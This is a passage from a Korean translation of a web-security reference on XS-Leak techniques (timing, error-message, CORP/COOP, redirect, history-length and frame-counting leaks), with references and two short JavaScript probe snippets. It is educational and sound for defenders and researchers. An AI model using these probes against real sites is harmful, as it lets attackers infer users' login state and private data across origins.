* **코드 예시**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

이전 기법에서도 GC의 브라우저 버그로 인해 **로드에 실패한 리소스가 두 번 로드**되는 두 가지 경우가 식별되었습니다. 이로 인해 성능 API에 여러 항목이 생성되어 감지할 수 있습니다.

### 요청 병합 오류

* **포함 방법**: HTML 요소
* **감지 가능한 차이점**: 상태 코드
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 오류가 발생하는 요청은 병합할 수 없습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

이 기법은 언급된 논문의 표에서 발견되었지만 해당 기법에 대한 설명은 찾을 수 없었습니다. 그러나 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)에서 해당 기법을 확인할 수 있습니다.

### 빈 페이지 누출

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 페이지 콘텐츠
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 빈 응답은 리소스 타이밍 항목을 생성하지 않습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

공격자는 **일부 브라우저에서 빈 페이지가 성능 항목을 생성하지 않기 때문에** 요청이 빈 HTTP 응답 본문으로 결과가 나타났는지 감지할 수 있습니다.

### XSS-Auditor 누출

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 페이지 콘텐츠
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 보안 주장에서 XSS Auditor를 사용하여 공격자는 조작된 페이로드가 감지기의 필터링 메커니즘을 트리거할 때 응답의 변경을 관찰하여 특정 웹페이지 요소를 감지할 수 있습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

보안 주장(SA)에서 XSS Auditor는 원래 Cross-Site Scripting (XSS) 공격을 방지하기 위해 고안되었지만, 역설적으로 민감한 정보를 누출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome (GC)에서 제거되었지만 SA에는 여전히 존재합니다. 2013년에 Braun과 Heiderich는 XSS Auditor가 실수로 합법적인 스크립트를 차단하여 잘못된 양성 결과를 초래할 수 있다는 것을 증명했습니다. 이를 기반으로 연구자들은 정보를 추출하고 교차 출처 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했으며, 이는 Terada가 최초로 보고하고 Heyes가 블로그 글에서 상세히 설명한 XS-Leaks 개념으로 알려졌습니다. 이러한 기술은 GC의 XSS Auditor에 특화되어 있었지만, SA에서는 XSS Auditor에 의해 차단된 페이지가 성능 API에 항목을 생성하지 않음을 발견하여 민감한 정보가 여전히 누출될 수 있는 방법을 밝혀냈습니다.

### X-Frame 누출

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 헤더
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **요약:** X-Frame-Options 헤더가 있는 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

페이지가 **iframe**에서 **렌더링이 허용되지 않으면** 성능 항목을 생성하지 않습니다. 결과적으로 공격자는 응답 헤더 **`X-Frame-Options`**를 감지할 수 있습니다.\
**embed** **태그를 사용하는 경우도 동일합니다.**

### 다운로드 감지

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 헤더
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 다운로드는 성능 API에 리소스 타이밍 항목을 생성하지 않습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

XS-Leak와 유사하게, **ContentDisposition 헤더로 인해 다운로드되는 리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.
### Redirect Start Leak

* **포함 방법**: 프레임
* **감지 가능한 차이**: 리다이렉트
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약**: 리소스 타이밍 항목이 리다이렉트의 시작 시간을 누설합니다.
* **코드 예시**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

일부 브라우저의 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 요청에 대해 일부 속성을 제로로 설정해야 한다고 정의합니다. 그러나 **SA**에서는 **Performance API**를 쿼리하고 **redirectStart 타이밍 데이터**를 확인하여 사용자가 대상 페이지에 의해 **리다이렉트**되었는지 감지할 수 있습니다.

### Duration Redirect Leak

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 리다이렉트
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약**: 리다이렉트가 발생할 때 타이밍 항목의 지속 시간이 음수입니다.
* **코드 예시**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

GC에서 **리다이렉트**로 이어지는 요청의 **지속 시간**은 **음수**이며, 따라서 리다이렉트가 발생하지 않는 요청과 구별할 수 있습니다.

### CORP Leak

* **포함 방법**: 프레임
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약**: CORP로 보호된 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

일부 경우에는 **nextHopProtocol 항목**을 누출 기술로 사용할 수 있습니다. GC에서 **CORP 헤더**가 설정된 경우 nextHopProtocol은 **비어 있을 것**입니다. SA는 CORP가 활성화된 리소스에 대해 전혀 성능 항목을 생성하지 않음에 유의하십시오.

### Service Worker

* **포함 방법**: 프레임
* **감지 가능한 차이**: API 사용
* **자세한 정보**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **요약**: 특정 출처에 대해 서비스 워커가 등록되었는지 감지합니다.
* **코드 예시**:

서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 웹 페이지의 백그라운드에서 실행되며 리소스를 가로채고 수정하여 오프라인 웹 애플리케이션을 만들 수 있습니다.\
**서비스 워커**에 의해 **캐시된 리소스**에 **iframe**을 통해 액세스하면 리소스가 **서비스 워커 캐시에서 로드**됩니다.\
리소스가 **서비스 워커 캐시에서 로드**되었는지 감지하려면 **Performance API**를 사용할 수 있습니다.\
이는 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문 참조).

### Cache

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 타이밍
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **요약**: 리소스가 캐시에 저장되었는지 확인할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

[Performance API](xs-search.md#performance-api)를 사용하여 리소스가 캐시되었는지 확인할 수 있습니다.

### Network Duration

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 페이지 콘텐츠
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **요약**: `performance` API에서 요청의 네트워크 지속 시간을 검색할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## 오류 메시지 기술

### Media Error

* **포함 방법**: HTML 요소 (비디오, 오디오)
* **감지 가능한 차이**: 상태 코드
* **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **요약**: Firefox에서 교차 출처 요청의 상태 코드를 정확하게 누출할 수 있습니다.
* **코드 예시**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
### CORS 오류

* **포함 방법**: Fetch API
* **감지 가능한 차이점**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **요약:** 보안 주장(SA)에서, CORS 오류 메시지가 실수로 리디렉트된 요청의 전체 URL을 노출시킵니다.
* **코드 예시**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

이 기술은 공격자가 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용하여 **교차 출처 리소스의 리디렉션 대상을 추출**할 수 있게 합니다. 구체적으로, **CORS 활성화된 요청**이 사용자 상태에 따라 리디렉트를 발생시키는 대상 사이트로 전송되고 브라우저가 이 요청을 거부하는 경우, 오류 메시지 내에서 **리디렉트 대상의 전체 URL**이 노출됩니다. 이 취약점은 리디렉트 사실뿐만 아니라 리디렉트의 끝점과 포함할 수 있는 **민감한 쿼리 매개변수**도 노출시킵니다.

### SRI 오류

* **포함 방법**: Fetch API
* **감지 가능한 차이점**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **요약:** 보안 주장(SA)에서, SRI 오류 메시지가 실수로 리디렉트된 요청의 전체 URL을 노출시킵니다.
* **코드 예시**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

공격자는 **상세한 오류 메시지**를 악용하여 교차 출처 응답의 크기를 추정할 수 있습니다. 이는 Subresource Integrity (SRI) 메커니즘 때문에 가능한데, 이는 CDNs에서 자주 가져오는 리소스가 변조되지 않았는지를 확인하기 위해 무결성 속성을 사용합니다. 교차 출처 리소스에서 SRI가 작동하려면 이들이 **CORS 활성화**되어야 하며, 그렇지 않으면 무결성 검사의 대상이 되지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak과 마찬가지로 무결성 속성이 실패한 후 오류 메시지가 캡처될 수 있습니다. 공격자는 의도적으로 무결성 속성에 **가짜 해시 값**을 할당하여 이 오류를 **유발**할 수 있습니다. SA에서, 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 실수로 노출시키며, 이 정보 누출로 인해 공격자는 응답 크기의 차이를 식별할 수 있어 고급 XS-Leak 공격을 위한 길을 열게 됩니다.

### CSP 위반/감지

* **포함 방법**: 팝업
* **감지 가능한 차이점**: 상태 코드
* **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **요약:** 희생자 웹사이트만 CSP에 허용하면 해당 사이트가 다른 도메인으로 리디렉트하려고 시도하면 CSP가 감지 가능한 오류를 트리거합니다.
* **코드 예시**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉트되었는지 감지할 수 있습니다. 이 누출은 리디렉트를 감지할 수 있지만 추가로 리디렉트 대상 도메인이 노출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용**하는 것입니다. 대상 도메인으로 요청이 발생하면, 이는 교차 출처 도메인으로 리디렉트됩니다. **CSP가 이에 대한 액세스를 차단**하고 누출 기술로 사용되는 **위반 보고서를 생성**합니다. 브라우저에 따라 **이 보고서가 리디렉트의 대상 위치를 누출**할 수 있습니다.\
현대 브라우저는 리디렉트된 URL을 표시하지 않을 수 있지만, 여전히 교차 출처 리디렉트가 트리거되었는지 감지할 수 있습니다.

### 캐시

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이점**: 페이지 콘텐츠
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **요약:** 캐시에서 파일을 지웁니다. 대상 페이지를 열어 파일이 캐시에 있는지 확인합니다.
* **코드 예시:**

브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 대상 페이지가 **특정 파일을 요청했는지**를 추론할 수 있습니다.

사용자가 로그인한 경우에만 이미지를 로드하는 페이지가 있다면, **리소스를 무효화**하여(캐시되지 않도록 함, 자세한 정보 링크 참조), 해당 리소스를 로드할 수 있는 요청을 수행하고 **잘못된 요청으로 리소스를 로드**하려고 시도할 수 있습니다(예: 너무 긴 referer 헤더 사용). 리소스 로드가 **오류를 트리거하지 않았다면**, 이는 리소스가 **캐시되었기 때문**입니다.

### CSP 지시문

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 헤더
* **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **요약:** CSP 헤더 지시문은 CSP iframe 속성을 사용하여 조사할 수 있으며, 정책 세부 정보를 노출시킵니다.
* **코드 예시**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Google Chrome(GC)의 새로운 기능은 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)을 제안**할 수 있게 합니다. 일반적으로, 임베드된 콘텐츠는 **HTTP 헤더를 통해 이를 승인**해야 하거나 **오류 페이지가 표시**됩니다. 그러나 iframe이 이미 CSP에 의해 관리되고 새롭게 제안된 정책이 더 제한적이지 않은 경우, 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문을 감지**할 수 있는 경로를 엽니다. 이 취약점은 수정되었다고 표시되었지만, 우리의 조사 결과는 **오류 페이지를 감지할 수 있는 새로운 누출 기술**을 보여주며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.

### **CORP**

* **포함 방법**: Fetch API
* **감지 가능한 차이점**: 헤더
* **자세한 정보**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **요약:** Cross-Origin Resource Policy (CORP)로 보호된 리소스는 허용되지 않은 출처에서 가져올 때 오류를 발생시킵니다.
* **코드 예시**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORP 헤더는 **주어진 리소스로의 no-cors 교차 출처 요청을 차단**하는 비교적 새로운 웹 플랫폼 보안 기능입니다. 이 헤더의 존재는 감지될 수 있습니다. 왜냐하면 CORP로 보호된 리소스는 **가져올 때 오류를 발생**시킵니다.
### CORB

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 헤더
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **요약**: CORB는 공격자가 요청에서 **`nosniff` 헤더가 존재하는지 감지**할 수 있게 합니다.
* **코드 예시**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

공격에 대한 자세한 정보는 링크를 확인하세요.

### Origin Reflection 구성 오류에 대한 CORS 오류 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 헤더
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **요약**: Origin 헤더가 `Access-Control-Allow-Origin` 헤더에 반영되면 이미 캐시에 있는 자원을 확인할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

만약 **Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**된다면, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **자원을 가져오려고 시도**할 수 있습니다. **에러가 발생하지 않는다면**, 이는 **웹에서 올바르게 검색**되었음을 의미하며, **에러가 발생한다면**, 이는 **캐시에서 액세스**되었음을 의미합니다 (캐시는 CORS 헤더를 포함하여 원래 도메인에 대한 액세스를 허용한 응답을 저장하므로 에러가 발생합니다).\
Origin이 반영되지 않고 와일드카드가 사용된 경우(`Access-Control-Allow-Origin: *`) 이 동작하지 않습니다.

## 가독성 있는 속성 기법

### Fetch Redirect

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 상태 코드
* **더 많은 정보**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **요약**: 리디렉트가 완료된 후 응답의 유형(`opaque-redirect`)을 확인할 수 있게 하는 GC 및 SA.
* **코드 예시**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

`redirect: "manual"` 및 기타 매개변수를 사용하여 Fetch API를 통해 요청을 제출하면 `response.type` 속성을 읽을 수 있으며, 이 값이 `opaqueredirect`와 같으면 응답이 리디렉트된 것입니다.

### COOP

* **포함 방법**: 팝업
* **감지 가능한 차이**: 헤더
* **더 많은 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **요약**: Cross-Origin Opener Policy (COOP)로 보호된 페이지는 교차 출처 상호 작용을 방지합니다.
* **코드 예시**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

공격자는 교차 출처 HTTP 응답에서 Cross-Origin Opener Policy (COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 외부 사이트가 임의의 창 참조를 획득하는 것을 방지하기 위해 웹 애플리케이션에서 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조**에 액세스를 시도함으로써 확인할 수 있습니다. COOP가 조건부로 적용되는 경우 **`opener` 속성**은 중요한 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 비활성화되면 **정의됩니다**.

### URL 최대 길이 - 서버 측

* **포함 방법**: Fetch API, HTML 요소
* **감지 가능한 차이**: 상태 코드 / 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **요약**: 서버 응답 길이가 너무 크면 서버가 오류로 응답하고 경고가 생성될 수 있도록 응답의 차이를 감지합니다.
* **코드 예시**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

서버 측 리디렉션에서 **리디렉션 내부의 사용자 입력** 및 **추가 데이터**를 사용하는 경우, 일반적으로 **서버에는 요청 길이 제한**이 있습니다. 사용자 데이터가 해당 길이 - 1이라면, 리디렉션이 해당 데이터를 사용하고 **추가로 무언가를 추가**하기 때문에 **에러가 발생**하여 에러 이벤트를 통해 감지할 수 있습니다.

사용자에게 쿠키를 설정할 수 있다면, **충분한 쿠키를 설정**하여 이 공격을 수행할 수도 있습니다 ([**쿠키 폭탄**](hacking-with-cookies/cookie-bomb.md)). 이렇게 하면 **정상 응답의 크기가 증가**하여 **에러가 발생**합니다. 이 경우, 이 요청을 동일한 사이트에서 트리거하는 경우, `<script>`가 자동으로 쿠키를 전송하므로 에러를 확인할 수 있습니다.\
**쿠키 폭탄 + XS-Search**의 예는 다음 글에서 찾을 수 있습니다: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

이 유형의 공격에는 일반적으로 `SameSite=None` 또는 동일한 컨텍스트에 있어야 합니다.

### URL 최대 길이 - 클라이언트 측

* **포함 방법**: 팝업
* **감지 가능한 차이**: 상태 코드 / 콘텐츠
* **더 많은 정보**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **요약**: 리디렉트 응답 길이가 요청에 너무 크면 차이를 알 수 있는 정도로 응답의 차이를 감지합니다.
* **코드 예시**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

[Chromium 문서](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length)에 따르면, Chrome의 최대 URL 길이는 2MB입니다.

> 일반적으로 _웹 플랫폼_은 URL 길이에 제한을 두지 않습니다 (2^31이 일반적인 제한). _Chrome_은 실제적인 이유와 프로세스 간 통신에서의 서비스 거부 문제를 피하기 위해 URL을 최대 **2MB**로 제한합니다.

따라서 **리디렉트 URL이 한 경우보다 큰 경우**, URL을 2MB보다 크게 만들어 **길이 제한**에 도달할 수 있습니다. 이렇게 되면 Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.

**알 수 있는 차이점**은, **리디렉트**가 **완료**된 경우, `window.origin`이 **에러**를 발생시킵니다. 외부 출처는 해당 정보에 액세스할 수 없기 때문입니다. 그러나 **제한**이 **적용**되고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것으로 유지되며 **접근 가능한 정보**입니다.

**2MB**에 도달하기 위해 필요한 모든 추가 정보는 초기 URL의 **해시**를 통해 추가할 수 있으므로 리디렉트에서 사용됩니다.
### 최대 리다이렉트

* **포함 방법**: Fetch API, 프레임
* **감지 가능한 차이**: 상태 코드
* **더 많은 정보**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **요약:** 브라우저의 리다이렉트 제한을 사용하여 URL 리다이렉션 발생 여부 확인
* **코드 예시**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

만약 브라우저의 **최대 리다이렉트** 횟수가 **20**이라면, 공격자는 **19번의 리다이렉트**를 시도한 후 마지막으로 피해자를 테스트한 페이지로 **보낼 수 있습니다**. **에러**가 발생하면 페이지가 피해자를 **리다이렉트하려고 시도**했음을 나타냅니다.

### 히스토리 길이

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 리다이렉트
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **요약:** JavaScript 코드는 브라우저 히스토리를 조작하고 length 속성으로 액세스할 수 있습니다.
* **코드 예시**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**히스토리 API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 하며, 이는 사용자가 방문한 페이지를 **저장**합니다. 공격자는 length 속성을 포함 방법으로 사용하여 JavaScript 및 HTML 탐색을 감지할 수 있습니다.\
**`history.length` 확인**을 통해 사용자를 **페이지로 이동**시키고, **같은 출처로 변경**한 후 **`history.length`의 새 값**을 확인합니다.

### 동일한 URL의 히스토리 길이

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 추측한 URL과 동일한지 여부
* **요약:** 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.
* **코드 예시**: 아래

공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 곳으로 조작**하고 **즉시 `about:blank`로 변경**할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르다는 것을 의미하며, URL이 동일한 경우 다시로드되지 않기 때문에 **증가할 시간이 있었습니다**. 증가하지 않으면 **추측한 URL을로드하려고 시도**했지만 **즉시** **`about:blank`**를로드했기 때문에 **추측한 URL을로드할 때 히스토리 길이가 증가하지 않았습니다**.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### 프레임 카운팅

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **요약:** `window.length` 속성을 검사하여 iframe 요소의 양을 평가합니다.
* **코드 예시**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

`iframe` 또는 `window.open`을 통해 열린 **웹페이지의 프레임 수를 계산**하면 **사용자의 페이지 상태를 식별하는 데 도움**이 될 수 있습니다. 또한, 페이지에 항상 동일한 수의 프레임이 있는 경우, **지속적으로** 프레임 수를 확인하여 정보가 유출될 수 있는 **패턴**을 식별하는 데 도움이 될 수 있습니다.

이 기술의 예로, Chrome에서는 `embed`이 내부적으로 사용되기 때문에 **프레임 카운팅**을 통해 **PDF**를 **감지**할 수 있습니다. `zoom`, `view`, `page`, `toolbar`와 같은 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)를 통해 콘텐츠에 대한 일부 제어가 가능하며, 이 기술은 흥미로울 수 있습니다.

### HTMLElements

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **요약:** 유출된 값을 읽어 2가지 가능한 상태를 구별합니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

HTML 요소를 통한 정보 누출은 웹 보안에서 문제가 될 수 있으며, 특히 동적 미디어 파일이 사용자 정보를 기반으로 생성되거나 워터마크가 추가되어 미디어 크기가 변경될 때 발생합니다. 공격자는 특정 HTML 요소가 노출하는 정보를 분석하여 가능한 상태를 구별할 수 있습니다.

### HTML 요소에 의해 노출된 정보

